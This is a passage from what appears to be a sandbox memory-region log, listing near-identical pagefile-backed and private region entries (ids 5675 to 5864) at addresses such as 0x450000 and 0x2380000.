0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5675 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5676 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5677 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5678 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5679 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5680 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5681 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5682 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5683 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5684 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5685 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5686 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5687 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5688 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5689 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5690 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5691 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5692 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5693 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5694 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5695 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5696 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5697 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5698 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5699 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5700 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5701 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5702 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 5703 start_va = 0x2380000 end_va = 0x239dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 5704 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5705 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5706 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5707 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5708 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5709 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5710 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5711 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5712 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5713 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5714 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5715 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5716 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5717 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5718 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5719 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5720 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5721 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5722 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5723 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5724 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5725 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5726 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5727 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5728 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5729 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5730 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5731 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5732 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5733 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5734 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5735 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5736 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5737 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5738 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5739 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5740 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5741 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5742 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5743 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5744 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5745 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5746 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5747 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5748 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5749 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5750 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5751 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5752 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5753 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5754 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5755 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5756 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5757 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5758 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5759 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5760 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5761 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5762 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5763 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5764 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5765 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5766 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5767 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5768 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5769 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5770 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5771 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5772 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5773 start_va = 0x2380000 end_va = 0x2382fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002380000" filename = "" Region: id = 5774 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5775 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5776 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5777 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5778 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5779 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5780 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5781 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5782 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5783 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5784 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5785 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5786 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5787 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5788 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5789 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5790 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5791 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5792 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5793 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5794 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5795 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5796 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5797 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5798 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5799 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5800 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5801 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5802 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5803 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5804 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5805 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5806 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5807 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5808 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5809 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5810 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 5811 start_va = 0x2390000 end_va = 0x23adfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 5812 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5813 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5814 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5815 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5816 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5817 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5818 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5819 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5820 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5821 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5822 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5823 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5824 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5825 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5826 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5827 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5828 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5829 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5830 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5831 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5832 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5833 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5834 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5835 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5836 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5837 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5838 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5839 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5840 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5841 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5842 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5843 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5844 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5845 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5846 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5847 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5848 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5849 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5850 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5851 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5852 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5853 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5854 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5855 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5856 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5857 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5858 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5859 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5860 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5861 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5862 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5863 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000450000" filename = "" Region: id = 5864 start_va = 0x450000 end_va = 0x45efff monitored = 1 entry_point = 0x0 region_type = 